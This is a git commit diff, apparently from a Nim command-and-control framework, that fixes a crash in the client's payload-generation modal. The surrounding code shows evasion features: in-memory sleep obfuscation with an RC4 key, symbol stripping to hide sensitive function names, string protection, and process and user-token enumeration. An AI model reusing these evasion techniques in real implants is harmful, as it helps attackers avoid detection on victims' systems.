Client no longer crashes when payload generation modal is closed prematurely.

This commit is contained in:
Jakob Friedl
2025-11-04 22:37:26 +01:00
parent 235479a38b
commit 8a22cf9e53
9 changed files with 16 additions and 18 deletions

View File

@@ -25,7 +25,7 @@ requires "nimcrypto >= 0.6.4"
requires "tiny_sqlite >= 0.2.0" requires "tiny_sqlite >= 0.2.0"
requires "winim >= 3.9.4" requires "winim >= 3.9.4"
requires "ptr_math >= 0.3.0" requires "ptr_math >= 0.3.0"
requires "imguin >= 1.92.2.1" requires "imguin >= 1.92.4.0"
requires "zippy >= 0.10.16" requires "zippy >= 0.10.16"
requires "mummy >= 0.4.6" requires "mummy >= 0.4.6"
requires "whisky >= 0.1.3" requires "whisky >= 0.1.3"

View File

@@ -643,7 +643,7 @@ proc sleepObfuscate*(sleepSettings: SleepSettings) =
img.Length = imageSize img.Length = imageSize
# Generate random encryption key # Generate random encryption key
var keyBuffer: string = Bytes.toString(generateBytes(Key16)) var keyBuffer: string = Bytes.toString(generateBytes(KeyRC4))
key.Buffer = addr keyBuffer key.Buffer = addr keyBuffer
key.Length = cast[DWORD](keyBuffer.len()) key.Length = cast[DWORD](keyBuffer.len())

View File

@@ -5,5 +5,5 @@
--passL:"-s" # Strip symbols, such as sensitive function names --passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511" -d:MODULES="511"
-d:VERBOSE="true" -d:VERBOSE="false"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -129,7 +129,7 @@ proc main(ip: string = "localhost", port: int = 37573) =
# Close and reset the payload generation modal window when the payload was received # Close and reset the payload generation modal window when the payload was received
listenersTable.generatePayloadModal.resetModalValues() listenersTable.generatePayloadModal.resetModalValues()
igClosePopupToLevel(0, false) listenersTable.generatePayloadModal.show = false
of CLIENT_CONSOLE_ITEM: of CLIENT_CONSOLE_ITEM:
let agentId = event.data["agentId"].getStr() let agentId = event.data["agentId"].getStr()

View File

@@ -34,7 +34,8 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
# Payload generation modal (only enabled when at least one listener is active) # Payload generation modal (only enabled when at least one listener is active)
igBeginDisabled(component.listeners.len() <= 0) igBeginDisabled(component.listeners.len() <= 0)
if igButton("Generate Payload", vec2(0.0f, 0.0f)): if igButton("Generate Payload", vec2(0.0f, 0.0f)):
component.generatePayloadModal.show = true
igOpenPopup_str("Generate Payload", ImGui_PopupFlags_None.int32) igOpenPopup_str("Generate Payload", ImGui_PopupFlags_None.int32)
igEndDisabled() igEndDisabled()

View File

@@ -9,6 +9,7 @@ export addItem
type type
AgentModalComponent* = ref object of RootObj AgentModalComponent* = ref object of RootObj
show*: bool
listener: int32 listener: int32
sleepDelay: uint32 sleepDelay: uint32
jitter: int32 jitter: int32
@@ -28,6 +29,7 @@ type
proc AgentModal*(): AgentModalComponent = proc AgentModal*(): AgentModalComponent =
result = new AgentModalComponent result = new AgentModalComponent
result.show = false
result.listener = 0 result.listener = 0
result.sleepDelay = 5 result.sleepDelay = 5
result.jitter = 15 result.jitter = 15
@@ -96,11 +98,13 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
let modalWidth = max(500.0f, vp.Size.x * 0.25) let modalWidth = max(500.0f, vp.Size.x * 0.25)
igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32) igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32)
var show = true var show = component.show
let windowFlags = ImGuiWindowFlags_None.int32 # or ImGuiWindowFlags_NoMove.int32 let windowFlags = ImGuiWindowFlags_None.int32 # or ImGuiWindowFlags_NoMove.int32
if igBeginPopupModal("Generate Payload", addr show, windowFlags): if igBeginPopupModal("Generate Payload", addr show, windowFlags):
defer: igEndPopup() defer: igEndPopup()
component.show = show
var availableSize: ImVec2 var availableSize: ImVec2
igGetContentRegionAvail(addr availableSize) igGetContentRegionAvail(addr availableSize)
@@ -234,7 +238,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui
killDate: if component.killDateEnabled: component.killDate else: 0, killDate: if component.killDateEnabled: component.killDate else: 0,
modules: modules modules: modules
) )
igEndDisabled() igEndDisabled()
igSameLine(0.0f, textSpacing) igSameLine(0.0f, textSpacing)

View File

@@ -7,7 +7,7 @@ import ./[types, utils]
Symmetric AES256 GCM encryption for secure C2 traffic Symmetric AES256 GCM encryption for secure C2 traffic
Ensures both confidentiality and integrity of the packet Ensures both confidentiality and integrity of the packet
]# ]#
proc generateBytes*(T: typedesc[Key | Iv | Key16]): array = proc generateBytes*(T: typedesc[Key | Iv | KeyRC4]): array =
var bytes: T var bytes: T
if randomBytes(bytes) != sizeof(T): if randomBytes(bytes) != sizeof(T):
raise newException(CatchableError, protect("Failed to generate byte array.")) raise newException(CatchableError, protect("Failed to generate byte array."))

View File

@@ -71,14 +71,6 @@ type
RESULT_BINARY = 1'u8 RESULT_BINARY = 1'u8
RESULT_NO_OUTPUT = 2'u8 RESULT_NO_OUTPUT = 2'u8
ConfigType* = enum
CONFIG_LISTENER_UUID = 0'u8
CONFIG_LISTENER_IP = 1'u8
CONFIG_LISTENER_PORT = 2'u8
CONFIG_SLEEP_DELAY = 3'u8
CONFIG_PUBLIC_KEY = 4'u8
CONFIG_PROFILE = 5'u8
LogType* {.size: sizeof(uint8).} = enum LogType* {.size: sizeof(uint8).} = enum
LOG_INFO = "[INFO] " LOG_INFO = "[INFO] "
LOG_ERROR = "[FAIL] " LOG_ERROR = "[FAIL] "
@@ -120,7 +112,7 @@ type
Key* = array[32, byte] Key* = array[32, byte]
Iv* = array[12, byte] Iv* = array[12, byte]
AuthenticationTag* = array[16, byte] AuthenticationTag* = array[16, byte]
Key16* = array[16, byte] KeyRC4* = array[16, byte]
# Packet structure # Packet structure
type type

View File

@@ -84,6 +84,7 @@ when defined(agent):
hProcess: HANDLE hProcess: HANDLE
user: string user: string
# User context
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID)
if hProcess != 0: if hProcess != 0:
if OpenProcessToken(hProcess, TOKEN_QUERY, addr hToken): if OpenProcessToken(hProcess, TOKEN_QUERY, addr hToken):
@@ -129,7 +130,7 @@ when defined(agent):
processes.add(pid) processes.add(pid)
# Add header row # Add header row
let headers = @[protect("PID"), protect("PPID"), protect("Process"), protect("Username")] let headers = @[protect("PID"), protect("PPID"), protect("Process"), protect("User context")]
output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<40}{headers[3]}" & "\n" output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<40}{headers[3]}" & "\n"
output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(40) & "-".repeat(len(headers[3])) & "\n" output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(40) & "-".repeat(len(headers[3])) & "\n"